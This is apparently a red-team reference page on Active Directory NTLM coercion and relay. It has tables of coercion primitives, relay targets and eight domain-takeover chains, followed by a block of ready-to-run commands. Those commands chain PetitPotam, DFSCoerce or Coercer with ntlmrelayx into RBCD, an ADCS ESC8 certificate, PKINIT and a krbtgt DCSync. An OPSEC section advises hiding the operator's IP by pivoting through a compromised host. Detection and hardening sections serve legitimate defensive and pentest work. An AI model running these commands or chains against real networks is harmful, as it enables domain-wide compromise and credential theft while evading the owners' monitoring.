TL;DR: Coercion + relay is still the #1 path from “domain user” to “domain admin” on most enterprises in 2025, despite seven CVE rounds of mitigation. This is the umbrella reference: each coercion primitive paired with its viable relay targets, the patch level that breaks it, and the ESC/ACL chain it enables. Use it as a flowchart, not a tutorial. Individual technique notes link from each row.
The model
Coercion = make any host (DC, file server, workstation) authenticate to you using its machine account over NTLM. Relay = forward that auth to a service that accepts NTLM and grants you something useful. Combine them and you have unauthenticated-to-Domain-Admin in a few seconds.
1
2
3
4
5
6
7
8
| [me on attacker] ── nudge over MSRPC ──► [victim machine]
│
outbound NTLM │
▼
[attacker relay] ─── relays ──► [target service]
│
▼
ESC8 / RBCD / Shadow Creds / ACL grant
|
Coercion primitives
| Primitive | RPC / interface | Triggering call | Auth source | Patched in | Notes |
| PrinterBug (printer-bug-spoolsample.md) | MS-RPRN \PIPE\spoolss | RpcRemoteFindFirstPrinterChangeNotificationEx | Spooler service of victim | Spooler off; CVE-2021-34527 fixes coercion-from-arbitrary-user partially | Works against most DCs unless Spooler disabled (CIS L1 baseline does disable). |
| PetitPotam (petitpotam-coercion) | MS-EFSR \PIPE\lsarpc | EfsRpcOpenFileRaw (originally) → modern variants on EfsRpcEncryptFileSrv, EfsRpcDecryptFileSrv | LSA of victim | CVE-2022-26925; modern variants still unauth on Win2019, auth-only on Win2022 | Default victim = DC. |
| ShadowCoerce (shadowcoerce) | MS-FSRVP \PIPE\FssagentRpc | IsPathSupported | File Server VSS Agent | CVE-2022-30154 | Server with “File Server VSS Agent Service” enabled. |
| DFSCoerce (dfscoerce) | MS-DFSNM \PIPE\netdfs | NetrDfsRemoveStdRoot | DC DFS service | Not fully patched; auth requires authenticated user but any user works | Any DC with DFS namespace service running (default). |
| PrivExchange-style | EWS push notification | Subscribe→push to attacker URL | Exchange computer account | Patched 2019 (CVE-2018-8581); resurfaces in misconfigs | Only where on-prem Exchange still exists. |
| WebClient (WebDAV) trigger | searchconnector-ms / shortcut to \\attacker@80\foo | UNC over HTTP triggers WebClient | Workstation user (not machine) | n/a | Yields user NTLM, not machine; combine with HTTP→LDAPS relay for RBCD on the user. |
| Coercer.py “all” | every MS-RPRN/MS-EFSR/MS-DFSNM/MS-FSRVP variant | many | varies | varies | One tool, sprays all known triggers — first to bite wins. |
| AuthCoerce (2024) | MS-EVEN (OpenEventLogW) | Open remote event log | Any host with EventLog Forwarding listener | Unpatched at time of writing | Niche; useful where Spooler/EFSR/DFS all closed. |
Relay targets
| Target | Channel | Requires victim to be | Gives you | Patch / mitigation |
| LDAP/LDAPS to DC | tcp/389, tcp/636 | not a DC | with LDAPS: write SPN, set msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD), set msDS-KeyCredentialLink (Shadow Credentials), modify ACLs | LDAP signing + channel binding (LdapEnforceChannelBinding=2) breaks LDAP relay; LDAPS still works if EPA off |
| SMB to file server | tcp/445 | local admin on target | execute as relayed account | SMB signing required on all servers (default since Win2022) |
| HTTP→ADCS (adcs-attacks ESC8) | http/https /certsrv/ | enrolment service reachable | a certificate for the machine → use to PKINIT as that machine | EPA on the IIS app (Extended Protection = Required) blocks; Microsoft default = “Allow” |
| HTTP→AD Web Services (ADWS) | http://dc:9389 | n/a | LDAP-equivalent ops | Disabled by default in current rollups; was a 2023 abuse path |
HTTP→WSUS (/ClientWebService/) | http://wsus:8530 | n/a (relay as WSUS computer) | approve update → SYSTEM on clients | EPA + HTTPS = mitigation; many tenants still HTTP |
| WinRM | tcp/5985 | local admin on target | shell as relayed account | EPA on WinRM listener |
| MSSQL | tcp/1433 | sysadmin on target | xp_cmdshell as relayed account | Channel binding (EPA) |
High-value chains (2025 viable)
| # | Coercion | Relay to | Outcome | When it still works |
| 1 | PetitPotam (DC) | LDAPS DC → set RBCD on attacker-controlled comp | Domain compromise via resource-based-constrained-delegation | Anywhere LDAP signing/CB not enforced + Machine Account Quota > 0 |
| 2 | PetitPotam (DC) | HTTP(S) ADCS Web Enrollment → DomainController template | DC certificate → PKINIT → DA | ADCS Web Enrollment without EPA (default) |
| 3 | DFSCoerce (DC) | LDAPS DC → Shadow Credentials on DC computer | Auth as DC → DCSync | Same as #1 — most environments |
| 4 | PrinterBug (any host with Spooler) | LDAPS DC → unconstrained delegation abuse via unconstrained-delegation | Capture TGTs of admins logging into that host | Where Spooler still runs (most workstations) |
| 5 | WebDAV trigger (workstation user) | LDAPS DC → RBCD on user | Lateral as user | Where WebClient service runs (default on Win11) |
| 6 | ShadowCoerce (FS VSS server) | LDAPS DC → ACL on the server | Local admin on file server | Pre-2022 patches |
| 7 | Coercer (DC) | WSUS (HTTP) | SYSTEM on every WSUS client | Internal WSUS over HTTP (still common) |
| 8 | AuthCoerce (any) | LDAPS DC | Same as #1/3 | Niche fallback |
Tradecraft
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| # Start the relay; output to LDAPS for RBCD primitive
ntlmrelayx.py -t ldaps://dc.corp.lab -smb2support --delegate-access \
--escalate-user attacker$ --add-computer attacker$ 'P@ssword1'
# Trigger — Petitpotam (Impacket)
petitpotam.py -u me -p pw -d corp.lab attacker.corp.lab dc.corp.lab
# Trigger — DFSCoerce
dfscoerce.py -u me -p pw -d corp.lab attacker.corp.lab dc.corp.lab
# Sweep with Coercer
coercer.py coerce -u me -p pw -l attacker.corp.lab -t dc.corp.lab
# ADCS ESC8 chain
ntlmrelayx.py -t http://adcs/certsrv/certfnsh.asp --adcs --template DomainController
petitpotam.py -u me -p pw -d corp.lab attacker dc
# After certificate: PKINIT → krbtgt hash via getTGT + UnPACTheHash → DCSync
gettgtpkinit.py -cert-pfx dc.pfx corp.lab/dc\$@dc dc.ccache
getnthash.py -key <key_from_above> corp.lab/dc\$
secretsdump.py -k -no-pass corp.lab/dc\$@dc -just-dc-user krbtgt
|
Detection / Telemetry
- Inbound NTLM on a relay server (your attacker box) is normal; on a tenant DC, NTLM auth events
4624 LogonType=3 from a workstation source IP to LDAP/HTTP/SMB are not. Defender for Identity has a “NTLM relay” alert (med-high) on these. - EventID 4769 / 4624 from a machine account onto a DC LDAP port = high signal.
ntlmrelayx artefact: ServicePrincipal attacker$ added to a normal user’s msDS-AllowedToActOnBehalfOfOtherIdentity — search LDAP for that attribute set on user objects. - ADCS publishes Cert Enrollment events (CA log) — issuance of a
DomainController template cert to a non-DC requester is the cleanest signal. - Coercion RPCs themselves:
MS-RPRN _RpcRemoteFindFirstPrinterChangeNotificationEx, MS-EFSR EfsRpcOpenFileRaw, MS-DFSNM NetrDfsRemoveStdRoot — Sysmon RPC parser + community detection rules.
Hardening checklist (what closes each row)
| Mitigation | Closes |
LDAP signing and channel binding (LdapEnforceChannelBinding=2) | All LDAPS relay |
| SMB signing required on every server | All SMB relay |
| Extended Protection for Authentication (EPA) on IIS / ADCS / WinRM / Exchange / WSUS | All HTTP relay variants |
| Disable Spooler on DCs and tier-0 (CIS L1) | PrinterBug |
| Patch CVE-2022-26925, CVE-2022-30154, etc.; install Win11 24H2 / Server 2025 baselines | Most unauth coercion primitives |
Set MachineAccountQuota = 0 for unprivileged users | Cuts off RBCD primitive (attacker can’t add a computer to abuse) |
| Disable WebClient on workstations where unneeded | WebDAV-trigger primitive |
| Enforce KDC armouring (FAST) | Some PKINIT abuse paths |
OPSEC pitfalls
- Don’t run
petitpotam blindly — many DCs are now logging the EFSR call. Choose the quietest primitive that works (DFSCoerce on most modern DCs). ntlmrelayx --add-computer leaves a permanent computer account; track and delete on cleanup. - ADCS chain pollutes the CA database with an issued cert. Some CAs alert on
DomainController cert issuance to anything other than the DC computer account. - The relay server’s IP appears in DC security logs as the source — front it via SOCKS / pivot through a compromised host so the recorded source ISN’T your operator box.
References
- https://www.thehacker.recipes/ad/movement/ntlm/relay
- https://github.com/p0dalirius/Coercer
- https://github.com/topotam/PetitPotam
- https://github.com/Wh04m1001/DFSCoerce
- https://github.com/Bdenneu/ShadowCoerce
- https://www.synacktiv.com/publications/relaying-ntlm-authentication-from-sccm-clients
- https://github.com/fortra/impacket
- https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview
See also: ntlm-relay, ntlm-relay-ws2025-mitigations, winreg-relay-2024, petitpotam-coercion, dfscoerce, shadowcoerce, printer-bug-spoolsample, adcs-attacks, resource-based-constrained-delegation, shadow-credentials, unconstrained-delegation, impacket-toolkit-overview, netexec-nxc-workflow, bloodhound-ce-deployment